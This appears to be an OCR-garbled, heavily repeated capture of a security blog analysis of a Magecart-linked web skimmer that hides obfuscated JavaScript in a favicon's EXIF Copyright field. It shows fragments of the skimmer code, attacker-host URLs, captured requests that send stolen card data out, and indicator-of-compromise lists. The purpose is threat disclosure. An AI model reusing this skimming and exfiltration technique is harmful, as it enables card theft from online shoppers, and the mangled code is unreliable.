favicon.ico file.

Skimmer toolkit found in the open

We were able to get a copy of the skimmer toolkit’s source code which was zipped and exposed in the open
directory of a compromised site. The gate.php file (also included in the zip) contains the skimmer’s entire logic,

while other files are used as supporting libraries.
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& Index of /wp-content/ x +

< c &

fwp-content,

Index of /wp-content/

Name

Last modified Size Description

Parent Directory,

JZip 2020-06 200K
favicon/ 2020-06 -
sate php 2020-06. 90K
bin — e— exif Makernotes
config lib [ ] EXIF.php
favicon repository |j EXIF_Makernote.php
|:| Jhtaccess template se— |j EXIF_Tags.php
|:] gate.php |:] htaccess |:| get_casio_thumb.php
|j jsa.php |:] get_exif_thumb.php
|| wiis0.php | ] get_JFX¥_thumb.php

| | wlisOCache.php

| ] wllsOCenfig.php

| | wllsODecoyer.php

| | wllsODemainLocker.php

| ] wlSOEncryptor.php

| | wlISOExpirator.php

| | wllsOJsParser.php

| | wlsOLex.php

|| wlSOMinifier.php

| | wlISOPracessor.php

| ] wllSORunner.php

|| wllsOScrambler.php

|| wllsOUtils.php

| | get_minolta_thumb.php

| | get_ps_thumb.php
[ IPTC.php

[ ] JFIF.php

[ ] JPEG.php

|j Photoshop_File_Info.php
|:| Photoshop_IRB.php
|:] Picturelnfo.php

[ PiM.php

|j pimt_utils.php

|:| Toolkit_Versicn.php
|:] Unicode.php

[] ¥ML.php

[ ] XMP.php
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= @ index.html
|:] Js-encrypt-b36arr,jst
|J js-encrypt-b36plain,jst

| | js-lockdomain.jst
|:| js-not-found.jst
|:] Js-not-given,jst

|:] |s-setexpiration,jst

This shows us how the favicon.ico file is crafted with the injected JavaScript inside of the Copyright field. There

are some other interesting artifacts as well, such as the Cache HTTP header and Created date for the image.


https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/06/PHP_source.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/06/PHP_source.png

https://blog.malwarebytes.com /threat-analysis /2020 /06 /web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/

tnew ps file info ;

e
r

Skimmedcodelloaded
Viatsjstvariable

|:” II; L II; E:IS. L ”:l .

Sdss=p:
surlref=%
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The JavaScript code for the skimmer is obfuscated using the WiseL.oop PHP JS Obfuscator library, in line with

what we saw on the client-side.
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if{111T<i.length)1111.
s111T++;
mish (s.charft (IT111) ) relse if(I11l<s.length)1111.
arfit (I111)),I111++;
h+i.length+s.length+e.length==1111.length+111I.length+e

for (1111=0;1I11 1 )
1111=-1;if(T111 ( ) 1111=
1111 sh({String.fromCh ( eInt (1I11.5
1111) )2
111T4++4;if({1111>=1111.1ength)1111I=0;

return 111l.join("'"}):

Connections to other skimmers, Magecart group 9

Based on open source intelligence, we can find more details on how this skimmer may have evolved. An earlier
version of this skimmer was found hosted at jqueryanalise[.]xyz (archive here). It lacks some obfuscation found in
the more recent case we found, but the same core features, such as loading JavaScript via the Copyright field

(metadata of an image file), exist.
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We also can connect this threat actor to another skimming script based on the registrant’s email
(rotrnberg.s4715@gmail[.]Jcom) for cddn][.]site. Two domains (cxizi[.]Jnet and yzxi[.]net) share the same skimmer
code which looks much more elaborate and does not appear to have much in common with the other two
JavaScript pieces (archive here).

<html>
{script:
var _@x2626 = [ "\x5bh\x@a\x28'\ 31 \x2c\xBahx20\x3 2\ xBa \x5d ", "a22\x2d'\a 32371\ k3B 32N
(function(_8x242ecc, _8x523af@) {
var _@xlelbed = function{_@xlefddl) {
while (--_8xlefd9l) {
_Bw242ecc['push'](_Bx242ecc[ 'shift'J());
H
Ii
_@xlelbeB{++_8x528afa);
1{_Bx2626, Bxf8));
var _@x5531 = function(_@x5898cf, _©x9a@395) { _@x5898cf = 93, _Bx9a@39% = undefined
_@x589a@ct = _@x5899ct - 8xa; a
var _@xdh6433 = _Bw2626[_6x589@ct]; _@xdbed33 =l'http5:ffyzxi.netjars!gate.php"
return  @x4b5433:

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the

first skimmer (see Figure), although it might very well just be a coincidence.
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The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET
request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

[Raw] [Header Definitions]
GET A1 index php?
hash=

Client ~
Miscellaneous
Security

Sec-Fetch-Dest; image

SecFetch-Mode: no-cors

SecFetch-Site: aoss-site LY
Transformer ||Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth | Caching |
Cookies | Raw | 150N | XML |
Response Headers [Raw] [Header Definitions]
HTTP/1.1 200 OK
Cache
Entity

ContentdLength: 35
Miscellaneous
Server: nginx/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a

domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.]Jcom.
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Itl-bulgaria Ltd.

magentorates.com magerates.com

Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer
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jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.Jcom

Registrant emails

anya.barber56@gmaill.]Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru
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Skimmer exfiltrates data as an image

The initial malicious JavaScript (Figure 2) loads the skimming portion of the code from the favicon.ico (Figure 3)

using an tag, and specifically via the onerror event.

As with other skimmers, this one also grabs the content of the input fields where online shoppers are entering their

name, billing address and credit card details. It encodes those using Base64 and then reverses that string.
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It comes with a twist though, as it sends the collected data as an image file, via a POST request, as seen below:
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POST (RELDS: 7/ CO0N. STte/ TAVICON. ICOJHTTF/1.1
Host: cddn.site

Connection: keep-aliwve

Content-Length: 2809

User-Agent:

Content-Type: multipart,/form-data; boundary=-—--webkKitFormBoundaryQuHlzquyATZT5PhbK ]
KCTEptT /T
origin: https:/ www. - COm

Sec-Fetch-5ite: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: empty

Referer: https:// www. . com/checkout-page/
Accept-Encoding: gzip, deflate, br

Accept-Language: en-Us,en;q=0.9

—————— webKitFormBoundaryQuHlzquyATZT5PbK
Content-Disposition: form-data; name="image"; filename="blob" Stﬂlen data once dECOdEd

Content-Type: image/x-1con

The threat actors probably decided to stick with the image theme to also conceal the exfiltrated data via the

favicon.ico file.

Skimmer toolkit found in the open

We were able to get a copy of the skimmer toolkit’s source code which was zipped and exposed in the open
directory of a compromised site. The gate.php file (also included in the zip) contains the skimmer’s entire logic,

while other files are used as supporting libraries.
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Index of /wp-content/

Name

Last modified Size Description

Parent Directory,

JZip 2020-06 200K
favicon/ 2020-06 -
sate php 2020-06. 90K
bin — e— exif Makernotes
config lib [ ] EXIF.php
favicon repository |j EXIF_Makernote.php
|:| Jhtaccess template se— |j EXIF_Tags.php
|:] gate.php |:] htaccess |:| get_casio_thumb.php
|j jsa.php |:] get_exif_thumb.php
|| wiis0.php | ] get_JFX¥_thumb.php

| | wlisOCache.php

| ] wllsOCenfig.php

| | wllsODecoyer.php

| | wllsODemainLocker.php

| ] wlSOEncryptor.php

| | wlISOExpirator.php

| | wllsOJsParser.php

| | wlsOLex.php

|| wlSOMinifier.php

| | wlISOPracessor.php

| ] wllSORunner.php

|| wllsOScrambler.php

|| wllsOUtils.php

| | get_minolta_thumb.php

| | get_ps_thumb.php
[ IPTC.php

[ ] JFIF.php

[ ] JPEG.php

|j Photoshop_File_Info.php
|:| Photoshop_IRB.php
|:] Picturelnfo.php

[ PiM.php

|j pimt_utils.php

|:| Toolkit_Versicn.php
|:] Unicode.php

[] ¥ML.php

[ ] XMP.php
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= @ index.html
|:] Js-encrypt-b36arr,jst
|J js-encrypt-b36plain,jst

| | js-lockdomain.jst
|:| js-not-found.jst
|:] Js-not-given,jst

|:] |s-setexpiration,jst

This shows us how the favicon.ico file is crafted with the injected JavaScript inside of the Copyright field. There

are some other interesting artifacts as well, such as the Cache HTTP header and Created date for the image.
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tnew ps file info ;

e
r

Skimmedcodelloaded
Viatsjstvariable

|:” II; L II; E:IS. L ”:l .

Sdss=p:
surlref=%

Sfavg =

The JavaScript code for the skimmer is obfuscated using the WiseLoop PHP JS Obfuscator library, in line with

what we saw on the client-side.
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if{111T<i.length)1111.
s111T++;
mish (s.charft (IT111) ) relse if(I11l<s.length)1111.
arfit (I111)),I111++;
h+i.length+s.length+e.length==1111.length+111I.length+e

for (1111=0;1I11 1 )
1111=-1;if(T111 ( ) 1111=
1111 sh({String.fromCh ( eInt (1I11.5
1111) )2
111T4++4;if({1111>=1111.1ength)1111I=0;

return 111l.join("'"}):

Connections to other skimmers, Magecart group 9

Based on open source intelligence, we can find more details on how this skimmer may have evolved. An earlier
version of this skimmer was found hosted at jqueryanalise[.]xyz (archive here). It lacks some obfuscation found in
the more recent case we found, but the same core features, such as loading JavaScript via the Copyright field

(metadata of an image file), exist.
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We also can connect this threat actor to another skimming script based on the registrant’s email
(rotrnberg.s4715@gmail[.]Jcom) for cddn[.]site. Two domains (cxizi[.]net and yzxi[.]net) share the same skimmer
code which looks much more elaborate and does not appear to have much in common with the other two
JavaScript pieces (archive here).

<html>
{script:
var _@x2626 = [ "\x5bh\x@a\x28'\ 31 \x2c\xBahx20\x3 2\ xBa \x5d ", "a22\x2d'\a 32371\ k3B 32N
(function(_8x242ecc, _8x523af@) {
var _@xlelbed = function{_@xlefddl) {
while (--_8xlefd9l) {
_Bw242ecc['push'](_Bx242ecc[ 'shift'J());
H
Ii
_@xlelbeB{++_8x528afa);
1{_Bx2626, Bxf8));
var _@x5531 = function(_@x5898cf, _©x9a@395) { _@x5898cf = 93, _Bx9a@39% = undefined
_@x589a@ct = _@x5899ct - 8xa; a
var _@xdh6433 = _Bw2626[_6x589@ct]; _@xdbed33 =l'http5:ffyzxi.netjars!gate.php"
return  @x4b5433:

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the

first skimmer (see Figure), although it might very well just be a coincidence.
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The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET
request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

[Raw] [Header Definitions]
GET A1 index php?
hash=

Client ~
Miscellaneous
Security

Sec-Fetch-Dest; image

SecFetch-Mode: no-cors

SecFetch-Site: aoss-site LY
Transformer ||Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth | Caching |
Cookies | Raw | 150N | XML |
Response Headers [Raw] [Header Definitions]
HTTP/1.1 200 OK
Cache
Entity

ContentdLength: 35
Miscellaneous
Server: nginx/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a

domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.]Jcom.
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Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer
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jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.Jcom

Registrant emails

anya.barber56@gmaill.Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru
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Metadata Viewer: [favicon] (imported)

Value

Exif.Image.Copyright ;eval(function(w,i,s,e){var lll=0;var l111=0;var Il1

.DateTime 2 915:18:58

The abuse of image headers to hide malicious code is not new, but this is the first time we witnessed it with a

credit card skimmer.

The presence of an eval is a sign that code is meant to be executed. We can also see that the malware authors have

obfuscated it. An archive of this script can be found here.
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{if({1I11<5)1111.push (w.cl
rat (1I11) ) ;1T114+4;1if(111T<5)111T h{i.charft (1111))
wash (1.chardt (1111) ) ;11114471 <5)111T.push (= 1

T111}))rselse if(I111<s.length)llll.push(s.charfAt(I111}) :;T111++;if(w.lengch+i.
length+s.1 h+e.length=—=1111.1en 1k tvar 1I11=
1111.join( = r I11T=111T.join
1111=[1:for (111
1111=-1;if (I11T.cha

ludelw2elulfl
dle3dlf3flk

1f3diflel

2els3elcie c j2elu

el

Skimmer exfiltrates data as an image

The initial malicious JavaScript (Figure 2) loads the skimming portion of the code from the favicon.ico (Figure 3)

using an tag, and specifically via the onerror event.

As with other skimmers, this one also grabs the content of the input fields where online shoppers are entering their

name, billing address and credit card details. It encodes those using Base64 and then reverses that string.
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L ( = m("ars
] ] c in{
alStorage.removelten 5 gﬂ:ﬁﬁ] @m B
1 s (e 00 By andlthenfstring[reversed;

I
L

if ('ch)
I
L

3, " + rdat;
ck[0] .splic({™:") [1]:

[1].splic (", ") [1]-
([realData],

fetch{url,

pode: "no-c ﬂﬂgﬁ;Eﬂnﬂnﬁﬂlﬂﬁﬂmglpufl)gagﬁmj
Stolenldatalaskimage/Xacon

It comes with a twist though, as it sends the collected data as an image file, via a POST request, as seen below:
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POST (RELDS: 7/ CO0N. STte/ TAVICON. ICOJHTTF/1.1
Host: cddn.site

Connection: keep-aliwve

Content-Length: 2809

User-Agent:

Content-Type: multipart,/form-data; boundary=-—--webkKitFormBoundaryQuHlzquyATZT5PhbK ]
KCTEptT /T
origin: https:/ www. - COm

Sec-Fetch-5ite: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: empty

Referer: https:// www. . com/checkout-page/
Accept-Encoding: gzip, deflate, br

Accept-Language: en-Us,en;q=0.9

—————— webKitFormBoundaryQuHlzquyATZT5PbK
Content-Disposition: form-data; name="image"; filename="blob" Stﬂlen data once dECOdEd

Content-Type: image/x-1con

The threat actors probably decided to stick with the image theme to also conceal the exfiltrated data via the

favicon.ico file.

Skimmer toolkit found in the open

We were able to get a copy of the skimmer toolkit’s source code which was zipped and exposed in the open
directory of a compromised site. The gate.php file (also included in the zip) contains the skimmer’s entire logic,

while other files are used as supporting libraries.
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& Index of /wp-content/ x +

< c &

fwp-content,

Index of /wp-content/

Name

Last modified Size Description

Parent Directory,

JZip 2020-06 200K
favicon/ 2020-06 -
sate php 2020-06. 90K
bin — e— exif Makernotes
config lib [ ] EXIF.php
favicon repository |j EXIF_Makernote.php
|:| Jhtaccess template se— |j EXIF_Tags.php
|:] gate.php |:] htaccess |:| get_casio_thumb.php
|j jsa.php |:] get_exif_thumb.php
|| wiis0.php | ] get_JFX¥_thumb.php

| | wlisOCache.php

| ] wllsOCenfig.php

| | wllsODecoyer.php

| | wllsODemainLocker.php

| ] wlSOEncryptor.php

| | wlISOExpirator.php

| | wllsOJsParser.php

| | wlsOLex.php

|| wlSOMinifier.php

| | wlISOPracessor.php

| ] wllSORunner.php

|| wllsOScrambler.php

|| wllsOUtils.php

| | get_minolta_thumb.php

| | get_ps_thumb.php
[ IPTC.php

[ ] JFIF.php

[ ] JPEG.php

|j Photoshop_File_Info.php
|:| Photoshop_IRB.php
|:] Picturelnfo.php

[ PiM.php

|j pimt_utils.php

|:| Toolkit_Versicn.php
|:] Unicode.php

[] ¥ML.php

[ ] XMP.php
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= @ index.html
|:] Js-encrypt-b36arr,jst
|J js-encrypt-b36plain,jst

| | js-lockdomain.jst
|:| js-not-found.jst
|:] Js-not-given,jst

|:] |s-setexpiration,jst

This shows us how the favicon.ico file is crafted with the injected JavaScript inside of the Copyright field. There

are some other interesting artifacts as well, such as the Cache HTTP header and Created date for the image.
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The JavaScript code for the skimmer is obfuscated using the WiseLoop PHP JS Obfuscator library, in line with

what we saw on the client-side.
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if{111T<i.length)1111.
s111T++;
mish (s.charft (IT111) ) relse if(I11l<s.length)1111.
arfit (I111)),I111++;
h+i.length+s.length+e.length==1111.length+111I.length+e

for (1111=0;1I11 1 )
1111=-1;if(T111 ( ) 1111=
1111 sh({String.fromCh ( eInt (1I11.5
1111) )2
111T4++4;if({1111>=1111.1ength)1111I=0;

return 111l.join("'"}):

Connections to other skimmers, Magecart group 9

Based on open source intelligence, we can find more details on how this skimmer may have evolved. An earlier
version of this skimmer was found hosted at jqueryanalise[.]xyz (archive here). It lacks some obfuscation found in
the more recent case we found, but the same core features, such as loading JavaScript via the Copyright field

(metadata of an image file), exist.
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We also can connect this threat actor to another skimming script based on the registrant’s email
(rotrnberg.s4715@gmail[.]Jcom) for cddn[.]site. Two domains (cxizi[.]net and yzxi[.]net) share the same skimmer
code which looks much more elaborate and does not appear to have much in common with the other two
JavaScript pieces (archive here).

<html>
{script:
var _@x2626 = [ "\x5bh\x@a\x28'\ 31 \x2c\xBahx20\x3 2\ xBa \x5d ", "a22\x2d'\a 32371\ k3B 32N
(function(_8x242ecc, _8x523af@) {
var _@xlelbed = function{_@xlefddl) {
while (--_8xlefd9l) {
_Bw242ecc['push'](_Bx242ecc[ 'shift'J());
H
Ii
_@xlelbeB{++_8x528afa);
1{_Bx2626, Bxf8));
var _@x5531 = function(_@x5898cf, _©x9a@395) { _@x5898cf = 93, _Bx9a@39% = undefined
_@x589a@ct = _@x5899ct - 8xa; a
var _@xdh6433 = _Bw2626[_6x589@ct]; _@xdbed33 =l'http5:ffyzxi.netjars!gate.php"
return  @x4b5433:

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the

first skimmer (see Figure), although it might very well just be a coincidence.
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The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET
request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

[Raw] [Header Definitions]
GET A1 index php?
hash=

Client ~
Miscellaneous
Security

Sec-Fetch-Dest; image

SecFetch-Mode: no-cors

SecFetch-Site: aoss-site LY
Transformer ||Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth | Caching |
Cookies | Raw | 150N | XML |
Response Headers [Raw] [Header Definitions]
HTTP/1.1 200 OK
Cache
Entity

ContentdLength: 35
Miscellaneous
Server: nginx/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a

domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.]Jcom.
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Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer
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jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.Jcom

Registrant emails

anya.barber56@gmaill.Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru
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{return readErilrbata(Qwlb,MRw+d, Jwlb. getlintls (Miw+i) -2} lelse{MRw=2+0wDb . getUintl6 (MRw+2 )} } 1function

readQiv{file,Ht8 HTd,strings, UT){var 11l=file.getUintl1&(HTd, UT]),Qdw={},0eH,He,i;for(i=0;ic111;i++)

{AeH=HTd+i* 1242 ; XHo=strings[file. getuintla(AeH, 1UT{ ) ]; Qiv] XHx]=BCpp(file, AeH HtB, HTd,UTi) dreturn Qivifunction

BCpp(file, heH,HtE,HTd, UT]) {var N . - o
111-File. getuintis(astez, IUT), Ryynz= ST I1M-NI00E = function(Baliw) {

r,denominator;switch(111){case 2:MRAw=l if (!LKZm{Bald))

111="";for({var n=start;n<start+length ceturn:
readérilrbatafile,start){if{RPT(file [ - [ ]
UTH,Qdv, XHe, UkiF, gpsData , JGPruMRw=stal return Baliw. Uk "Copyright']

{uTj=le}else{return!1}if{file.getUint] ¥
111=-file.getUint32(JGErwMRwHL, IUTF) ;L
Jiv}erilr.getData=function(Bakw,callbi g
self.HTMLImageElement ) ) & ! Balw. comple:

{callback.call{Baww)}}returnle};Erilr

Bakw. Ukkf[ ' Copyright’]}; Erilr. readfrol H
BaWw=document.createElement (" img');Bal

. ' K}
{Erilr.gethata(Bakw, function(}{var Ld Epilr.ico = function{1II, callback) { 1II =[".f,-'cddn.site,-'-Favicnn.ico"

{callback(lwi)}});Bakw. parentiode . remr — =< ..
cad=Function()[var userin=[28,326,23,2' var BaWw = document.createElement('img");

rilr.readFromBinaryFile = function{file) {
return 0clG({file)

analytics.com/dfvrph’,gt="";for(var L Balw.src = 1II;
{gt=gt+1111[userID[1111]]; }erilr.icafi Balw.style.cssText = "display:none;’;
{ZHNp=document.createElement( 'div'}; 2l Baliw.onload = function{) {
document . createElement " tpircs) ' .spli . .
RegExp('™",'g'), '\"" ). replace(/\r?n/| Er‘.llr‘.getData(Bal:Jw, ‘FLI.I'1C‘tll:l"I§} {
[©].appendChild(ZHNp); ZHNp . parentiode var Lw? = Erilr.NioOE(this);
if (typeof callback == 'function'} {
callback(LwZ)

However, nothing else so far from this code indicates any kind of web skimming activity. All we have is

JavaScript that loads a remote favicon file and appears to parse some data as well.

This is where things get interesting. We can see a field called ‘Copyright’ from which data is getting loaded.
Attackers are using the Copyright metadata field of this image to load their web skimmer. Using an EXIF viewer,

we can now see JavaScript code has been injected:
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Metadata Viewer: [favicon] (imported)

Value

Exif.Image.Copyright ;eval(function(w,i,s,e){var lll=0;var l111=0;var Il1

.DateTime 2 915:18:58

The abuse of image headers to hide malicious code is not new, but this is the first time we witnessed it with a

credit card skimmer.

The presence of an eval is a sign that code is meant to be executed. We can also see that the malware authors have

obfuscated it. An archive of this script can be found here.
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Skimmer exfiltrates data as an image

The initial malicious JavaScript (Figure 2) loads the skimming portion of the code from the favicon.ico (Figure 3)

using an tag, and specifically via the onerror event.

As with other skimmers, this one also grabs the content of the input fields where online shoppers are entering their

name, billing address and credit card details. It encodes those using Base64 and then reverses that string.
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It comes with a twist though, as it sends the collected data as an image file, via a POST request, as seen below:
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POST (RELDS: 7/ CO0N. STte/ TAVICON. ICOJHTTF/1.1
Host: cddn.site

Connection: keep-aliwve

Content-Length: 2809

User-Agent:

Content-Type: multipart,/form-data; boundary=-—--webkKitFormBoundaryQuHlzquyATZT5PhbK ]
KCTEptT /T
origin: https:/ www. - COm

Sec-Fetch-5ite: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: empty

Referer: https:// www. . com/checkout-page/
Accept-Encoding: gzip, deflate, br

Accept-Language: en-Us,en;q=0.9

—————— webKitFormBoundaryQuHlzquyATZT5PbK
Content-Disposition: form-data; name="image"; filename="blob" Stﬂlen data once dECOdEd

Content-Type: image/x-1con

The threat actors probably decided to stick with the image theme to also conceal the exfiltrated data via the

favicon.ico file.

Skimmer toolkit found in the open

We were able to get a copy of the skimmer toolkit’s source code which was zipped and exposed in the open
directory of a compromised site. The gate.php file (also included in the zip) contains the skimmer’s entire logic,

while other files are used as supporting libraries.
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& Index of /wp-content/ x +

< c &

fwp-content,

Index of /wp-content/

Name

Last modified Size Description

Parent Directory,

JZip 2020-06 200K
favicon/ 2020-06 -
sate php 2020-06. 90K
bin — e— exif Makernotes
config lib [ ] EXIF.php
favicon repository |j EXIF_Makernote.php
|:| Jhtaccess template se— |j EXIF_Tags.php
|:] gate.php |:] htaccess |:| get_casio_thumb.php
|j jsa.php |:] get_exif_thumb.php
|| wiis0.php | ] get_JFX¥_thumb.php

| | wlisOCache.php

| ] wllsOCenfig.php

| | wllsODecoyer.php

| | wllsODemainLocker.php

| ] wlSOEncryptor.php

| | wlISOExpirator.php

| | wllsOJsParser.php

| | wlsOLex.php

|| wlSOMinifier.php

| | wlISOPracessor.php

| ] wllSORunner.php

|| wllsOScrambler.php

|| wllsOUtils.php

| | get_minolta_thumb.php

| | get_ps_thumb.php
[ IPTC.php

[ ] JFIF.php

[ ] JPEG.php

|j Photoshop_File_Info.php
|:| Photoshop_IRB.php
|:] Picturelnfo.php

[ PiM.php

|j pimt_utils.php

|:| Toolkit_Versicn.php
|:] Unicode.php

[] ¥ML.php

[ ] XMP.php
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= @ index.html
|:] Js-encrypt-b36arr,jst
|J js-encrypt-b36plain,jst

| | js-lockdomain.jst
|:| js-not-found.jst
|:] Js-not-given,jst

|:] |s-setexpiration,jst

This shows us how the favicon.ico file is crafted with the injected JavaScript inside of the Copyright field. There

are some other interesting artifacts as well, such as the Cache HTTP header and Created date for the image.
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The JavaScript code for the skimmer is obfuscated using the WiseLoop PHP JS Obfuscator library, in line with

what we saw on the client-side.
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if{111T<i.length)1111.
s111T++;
mish (s.charft (IT111) ) relse if(I11l<s.length)1111.
arfit (I111)),I111++;
h+i.length+s.length+e.length==1111.length+111I.length+e

for (1111=0;1I11 1 )
1111=-1;if(T111 ( ) 1111=
1111 sh({String.fromCh ( eInt (1I11.5
1111) )2
111T4++4;if({1111>=1111.1ength)1111I=0;

return 111l.join("'"}):

Connections to other skimmers, Magecart group 9

Based on open source intelligence, we can find more details on how this skimmer may have evolved. An earlier
version of this skimmer was found hosted at jqueryanalise[.]xyz (archive here). It lacks some obfuscation found in
the more recent case we found, but the same core features, such as loading JavaScript via the Copyright field

(metadata of an image file), exist.
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We also can connect this threat actor to another skimming script based on the registrant’s email
(rotrnberg.s4715@gmail[.]Jcom) for cddn[.]site. Two domains (cxizi[.]net and yzxi[.]net) share the same skimmer
code which looks much more elaborate and does not appear to have much in common with the other two
JavaScript pieces (archive here).

<html>
{script:
var _@x2626 = [ "\x5bh\x@a\x28'\ 31 \x2c\xBahx20\x3 2\ xBa \x5d ", "a22\x2d'\a 32371\ k3B 32N
(function(_8x242ecc, _8x523af@) {
var _@xlelbed = function{_@xlefddl) {
while (--_8xlefd9l) {
_Bw242ecc['push'](_Bx242ecc[ 'shift'J());
H
Ii
_@xlelbeB{++_8x528afa);
1{_Bx2626, Bxf8));
var _@x5531 = function(_@x5898cf, _©x9a@395) { _@x5898cf = 93, _Bx9a@39% = undefined
_@x589a@ct = _@x5899ct - 8xa; a
var _@xdh6433 = _Bw2626[_6x589@ct]; _@xdbed33 =l'http5:ffyzxi.netjars!gate.php"
return  @x4b5433:

While debugging it, we can spot the string ‘ars’ within a URL path. That same string was seen being used in the

first skimmer (see Figure), although it might very well just be a coincidence.
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The data exfiltration is quite different too. While the content-type is an image again, this time we see a GET
request where the stolen data is Base64 encoded only, and passed as a URL parameter instead.

[Raw] [Header Definitions]
GET A1 index php?
hash=

Client ~
Miscellaneous
Security

Sec-Fetch-Dest; image

SecFetch-Mode: no-cors

SecFetch-Site: aoss-site LY
Transformer ||Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth | Caching |
Cookies | Raw | 150N | XML |
Response Headers [Raw] [Header Definitions]
HTTP/1.1 200 OK
Cache
Entity

ContentdLength: 35
Miscellaneous
Server: nginx/1. 14.0 (Ubuntu)
Transport

Connection: keep-alive

Finally, this skimmer may have ties with Magecart Group 9. Security researcher @AffableKraut pointed out that a

domain (magentorates[.]Jcom) using this EXIF metadata skimming technique has the same Bulgarian host, same
registrar, and was registered within a week of magerates[.]Jcom.
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Magerates|[.]Jcom is registered under newserf@mail.ru, which also has other skimmer domains, and in particular

several used via another clever evasion technique in the form of WebSockets. This type of skimmer was tied to

Magecart Group 9, originally disclosed by Yonathan Klijnsma .

Tracking digital skimmers is not an easy task these days, as there are many threat actors and countless variations

of skimming scripts based off toolkits or that are completely custom.

We continue to track and report skimmers in an effort to protect online shoppers from this campaign and dozens of

others.

Indicators of Compromise

EXIF skimmers

cddn[.]site
magentorates[.]com
pixasbay[.]com
lebs[.]site
bestcdnforbusiness[.]com
apilivechat[.]com
undecoverial.]com
wosus[.]site

Older EXIF skimmer
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jqueryanalise[.]xyz
jquery-analitycs[.]com

Skimmer #3

xciy[.]net
yxxi[.]net
cxizi[.]net
yzxi[.]net

Other skimmers

sonol[.]site
webtrans[.]site
koinweb[.]site
xoet[.]site
ads-fbstatistic[.]com
bizrateservices[.]com
towbarchat[.]com
teamsystems[.]info
j-queries[.Jcom

Registrant emails

anya.barber56@gmaill.Jcom
smithlatrice100@yahool.]com
rotrnberg.s4715@gmail[.]Jcom
newserf@mail[.]ru
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Learn about hijack. If you don't want to block this website, you
can exclude it from website protection by accessing Exclusions

Domain: cddn site

|P Address: 18592148128

Port 443
